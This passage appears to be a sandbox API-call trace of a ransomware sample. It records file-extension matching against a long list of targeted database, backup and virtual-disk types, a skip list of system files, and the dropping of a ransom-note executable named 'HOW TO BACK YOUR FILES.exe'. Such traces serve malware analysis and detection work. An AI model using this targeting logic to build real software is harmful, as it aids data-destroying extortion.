	[0035.769] lstrlenW (lpString="mas") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mas") returned 1
	[0035.769] lstrlenW (lpString="mav") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mav") returned 1
	[0035.769] lstrlenW (lpString="maw") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="maw") returned 1
	[0035.769] lstrlenW (lpString="mdbhtml") returned 7
	[0035.769] lstrcmpiW (lpString1="raw.wtv", lpString2="mdbhtml") returned 1
	[0035.769] lstrlenW (lpString="mdn") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mdn") returned 1
	[0035.769] lstrlenW (lpString="mdt") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mdt") returned 1
	[0035.769] lstrlenW (lpString="mfd") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mfd") returned 1
	[0035.769] lstrlenW (lpString="mpd") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mpd") returned 1
	[0035.769] lstrlenW (lpString="mrg") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mrg") returned 1
	[0035.769] lstrlenW (lpString="mud") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mud") returned 1
	[0035.769] lstrlenW (lpString="mwb") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mwb") returned 1
	[0035.769] lstrlenW (lpString="myd") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="myd") returned 1
	[0035.769] lstrlenW (lpString="ndf") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="ndf") returned 1
	[0035.769] lstrlenW (lpString="nnt") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="nnt") returned 1
	[0035.769] lstrlenW (lpString="nrmlib") returned 6
	[0035.769] lstrcmpiW (lpString1="aw.wtv", lpString2="nrmlib") returned -1
	[0035.770] lstrlenW (lpString="ns2") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="ns2") returned 1
	[0035.770] lstrlenW (lpString="ns3") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="ns3") returned 1
	[0035.770] lstrlenW (lpString="ns4") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="ns4") returned 1
	[0035.770] lstrlenW (lpString="nsf") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="nsf") returned 1
	[0035.770] lstrlenW (lpString="nv") returned 2
	[0035.770] lstrcmpiW (lpString1="tv", lpString2="nv") returned 1
	[0035.770] lstrlenW (lpString="nv2") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="nv2") returned 1
	[0035.770] lstrlenW (lpString="nwdb") returned 4
	[0035.770] lstrcmpiW (lpString1=".wtv", lpString2="nwdb") returned -1
	[0035.770] lstrlenW (lpString="nyf") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="nyf") returned 1
	[0035.770] lstrlenW (lpString="odb") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="odb") returned 1
	[0035.770] lstrlenW (lpString="odb") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="odb") returned 1
	[0035.770] lstrlenW (lpString="oqy") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="oqy") returned 1
	[0035.770] lstrlenW (lpString="ora") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="ora") returned 1
	[0035.770] lstrlenW (lpString="orx") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="orx") returned 1
	[0035.770] lstrlenW (lpString="owc") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="owc") returned 1
	[0035.770] lstrlenW (lpString="p96") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="p96") returned 1
	[0035.770] lstrlenW (lpString="p97") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="p97") returned 1
	[0035.770] lstrlenW (lpString="pan") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="pan") returned 1
	[0035.770] lstrlenW (lpString="pdb") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="pdb") returned 1
	[0035.770] lstrlenW (lpString="pdm") returned 3
	[0035.770] lstrcmpiW (lpString1="wtv", lpString2="pdm") returned 1
	[0035.770] lstrlenW (lpString="pnz") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="pnz") returned 1
	[0035.771] lstrlenW (lpString="qry") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="qry") returned 1
	[0035.771] lstrlenW (lpString="qvd") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="qvd") returned 1
	[0035.771] lstrlenW (lpString="rbf") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="rbf") returned 1
	[0035.771] lstrlenW (lpString="rctd") returned 4
	[0035.771] lstrcmpiW (lpString1=".wtv", lpString2="rctd") returned -1
	[0035.771] lstrlenW (lpString="rod") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="rod") returned 1
	[0035.771] lstrlenW (lpString="rodx") returned 4
	[0035.771] lstrcmpiW (lpString1=".wtv", lpString2="rodx") returned -1
	[0035.771] lstrlenW (lpString="rpd") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="rpd") returned 1
	[0035.771] lstrlenW (lpString="rsd") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="rsd") returned 1
	[0035.771] lstrlenW (lpString="sas7bdat") returned 8
	[0035.771] lstrcmpiW (lpString1="_raw.wtv", lpString2="sas7bdat") returned -1
	[0035.771] lstrlenW (lpString="sbf") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="sbf") returned 1
	[0035.771] lstrlenW (lpString="scx") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="scx") returned 1
	[0035.771] lstrlenW (lpString="sdb") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="sdb") returned 1
	[0035.771] lstrlenW (lpString="sdc") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="sdc") returned 1
	[0035.771] lstrlenW (lpString="sdf") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="sdf") returned 1
	[0035.771] lstrlenW (lpString="sis") returned 3
	[0035.771] lstrcmpiW (lpString1="wtv", lpString2="sis") returned 1
	[0035.836] lstrlenW (lpString="spq") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="spq") returned 1
	[0035.836] lstrlenW (lpString="te") returned 2
	[0035.836] lstrcmpiW (lpString1="tv", lpString2="te") returned 1
	[0035.836] lstrlenW (lpString="teacher") returned 7
	[0035.836] lstrcmpiW (lpString1="raw.wtv", lpString2="teacher") returned -1
	[0035.836] lstrlenW (lpString="tmd") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="tmd") returned 1
	[0035.836] lstrlenW (lpString="tps") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="tps") returned 1
	[0035.836] lstrlenW (lpString="trc") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="trc") returned 1
	[0035.836] lstrlenW (lpString="trc") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="trc") returned 1
	[0035.836] lstrlenW (lpString="trm") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="trm") returned 1
	[0035.836] lstrlenW (lpString="udb") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="udb") returned 1
	[0035.836] lstrlenW (lpString="udl") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="udl") returned 1
	[0035.836] lstrlenW (lpString="usr") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="usr") returned 1
	[0035.836] lstrlenW (lpString="v12") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="v12") returned 1
	[0035.836] lstrlenW (lpString="vis") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="vis") returned 1
	[0035.836] lstrlenW (lpString="vpd") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="vpd") returned 1
	[0035.836] lstrlenW (lpString="vvv") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="vvv") returned 1
	[0035.836] lstrlenW (lpString="wdb") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="wdb") returned 1
	[0035.836] lstrlenW (lpString="wmdb") returned 4
	[0035.836] lstrcmpiW (lpString1=".wtv", lpString2="wmdb") returned -1
	[0035.836] lstrlenW (lpString="wrk") returned 3
	[0035.836] lstrcmpiW (lpString1="wtv", lpString2="wrk") returned 1
	[0035.837] lstrlenW (lpString="xdb") returned 3
	[0035.837] lstrcmpiW (lpString1="wtv", lpString2="xdb") returned -1
	[0035.837] lstrlenW (lpString="xld") returned 3
	[0035.837] lstrcmpiW (lpString1="wtv", lpString2="xld") returned -1
	[0035.837] lstrlenW (lpString="xmlff") returned 5
	[0035.837] lstrcmpiW (lpString1="w.wtv", lpString2="xmlff") returned -1
	[0035.837] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0
	[0035.837] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0035.837] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b50
	[0035.837] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0035.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca210 | out: hHeap=0x580000) returned 1
	[0035.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0035.837] lstrlenW (lpString="C:\\Users\\Public\\Pictures") returned 24
	[0035.837] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0035.837] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.837] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.841] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.841] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da1a730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0035.842] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.842] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.842] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.842] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da1a730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.842] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.842] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.842] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.842] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.842] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.842] lstrlenW (lpString="desktop.ini") returned 11
	[0035.842] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\*") returned 26
	[0035.842] lstrcpyW (in: lpString1=0x2d3e582, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.842] lstrlenW (lpString="desktop.ini") returned 11
	[0035.842] lstrlenW (lpString="Apollon865") returned 10
	[0035.842] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.842] lstrlenW (lpString=".dll") returned 4
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.842] lstrlenW (lpString=".lnk") returned 4
	[0035.842] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.842] lstrlenW (lpString=".ini") returned 4
	[0035.843] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.843] lstrlenW (lpString=".sys") returned 4
	[0035.843] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.843] lstrlenW (lpString="desktop.ini") returned 11
	[0035.843] lstrlenW (lpString="bak") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.843] lstrlenW (lpString="ba_") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.843] lstrlenW (lpString="dbb") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.843] lstrlenW (lpString="vmdk") returned 4
	[0035.843] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.843] lstrlenW (lpString="rar") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.843] lstrlenW (lpString="zip") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.843] lstrlenW (lpString="tgz") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.843] lstrlenW (lpString="vbox") returned 4
	[0035.843] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.843] lstrlenW (lpString="vdi") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.843] lstrlenW (lpString="vhd") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.843] lstrlenW (lpString="vhdx") returned 4
	[0035.843] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.843] lstrlenW (lpString="avhd") returned 4
	[0035.843] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.843] lstrlenW (lpString="db") returned 2
	[0035.843] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.843] lstrlenW (lpString="db2") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.843] lstrlenW (lpString="db3") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.843] lstrlenW (lpString="dbf") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.843] lstrlenW (lpString="mdf") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.843] lstrlenW (lpString="mdb") returned 3
	[0035.843] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.844] lstrlenW (lpString="sql") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.844] lstrlenW (lpString="sqlite") returned 6
	[0035.844] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.844] lstrlenW (lpString="sqlite3") returned 7
	[0035.844] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.844] lstrlenW (lpString="sqlitedb") returned 8
	[0035.844] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.844] lstrlenW (lpString="xml") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.844] lstrlenW (lpString="$er") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.844] lstrlenW (lpString="4dd") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.844] lstrlenW (lpString="4dl") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.844] lstrlenW (lpString="^^^") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.844] lstrlenW (lpString="abs") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.844] lstrlenW (lpString="abx") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.844] lstrlenW (lpString="accdb") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.844] lstrlenW (lpString="accdc") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.844] lstrlenW (lpString="accde") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.844] lstrlenW (lpString="accdr") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.844] lstrlenW (lpString="accdt") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.844] lstrlenW (lpString="accdw") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.844] lstrlenW (lpString="accft") returned 5
	[0035.844] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.844] lstrlenW (lpString="adb") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.844] lstrlenW (lpString="adb") returned 3
	[0035.844] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.845] lstrlenW (lpString="ade") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.845] lstrlenW (lpString="adf") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.845] lstrlenW (lpString="adn") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.845] lstrlenW (lpString="adp") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.845] lstrlenW (lpString="alf") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.845] lstrlenW (lpString="ask") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.845] lstrlenW (lpString="btr") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.845] lstrlenW (lpString="cat") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.845] lstrlenW (lpString="cdb") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.845] lstrlenW (lpString="ckp") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.845] lstrlenW (lpString="cma") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.845] lstrlenW (lpString="cpd") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.845] lstrlenW (lpString="dacpac") returned 6
	[0035.845] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.845] lstrlenW (lpString="dad") returned 3
	[0035.845] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.845] lstrlenW (lpString="dadiagrams") returned 10
	[0035.845] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.845] lstrlenW (lpString="daschema") returned 8
	[0035.845] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.845] lstrlenW (lpString="db-journal") returned 10
	[0035.845] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.845] lstrlenW (lpString="db-shm") returned 6
	[0035.845] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.845] lstrlenW (lpString="db-wal") returned 6
	[0035.846] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.846] lstrlenW (lpString="dbc") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.846] lstrlenW (lpString="dbs") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.846] lstrlenW (lpString="dbt") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.846] lstrlenW (lpString="dbv") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.846] lstrlenW (lpString="dbx") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.846] lstrlenW (lpString="dcb") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.846] lstrlenW (lpString="dct") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.846] lstrlenW (lpString="dcx") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.846] lstrlenW (lpString="ddl") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.846] lstrlenW (lpString="dlis") returned 4
	[0035.846] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.846] lstrlenW (lpString="dp1") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.846] lstrlenW (lpString="dqy") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.846] lstrlenW (lpString="dsk") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.846] lstrlenW (lpString="dsn") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.846] lstrlenW (lpString="dtsx") returned 4
	[0035.846] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.846] lstrlenW (lpString="dxl") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.846] lstrlenW (lpString="eco") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.846] lstrlenW (lpString="ecx") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.846] lstrlenW (lpString="edb") returned 3
	[0035.846] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.847] lstrlenW (lpString="epim") returned 4
	[0035.847] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.847] lstrlenW (lpString="fcd") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.847] lstrlenW (lpString="fdb") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.847] lstrlenW (lpString="fic") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.847] lstrlenW (lpString="flexolibrary") returned 12
	[0035.847] lstrlenW (lpString="fm5") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.847] lstrlenW (lpString="fmp") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.847] lstrlenW (lpString="fmp12") returned 5
	[0035.847] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.847] lstrlenW (lpString="fmpsl") returned 5
	[0035.847] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.847] lstrlenW (lpString="fol") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.847] lstrlenW (lpString="fp3") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.847] lstrlenW (lpString="fp4") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.847] lstrlenW (lpString="fp5") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.847] lstrlenW (lpString="fp7") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.847] lstrlenW (lpString="fpt") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.847] lstrlenW (lpString="frm") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.847] lstrlenW (lpString="gdb") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.847] lstrlenW (lpString="gdb") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.847] lstrlenW (lpString="grdb") returned 4
	[0035.847] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.847] lstrlenW (lpString="gwi") returned 3
	[0035.847] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.848] lstrlenW (lpString="hdb") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.848] lstrlenW (lpString="his") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.848] lstrlenW (lpString="ib") returned 2
	[0035.848] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.848] lstrlenW (lpString="idb") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.848] lstrlenW (lpString="ihx") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.848] lstrlenW (lpString="itdb") returned 4
	[0035.848] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.848] lstrlenW (lpString="itw") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.848] lstrlenW (lpString="jet") returned 3
	[0035.848] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.848] lstrlenW (lpString="jtx") returned 3
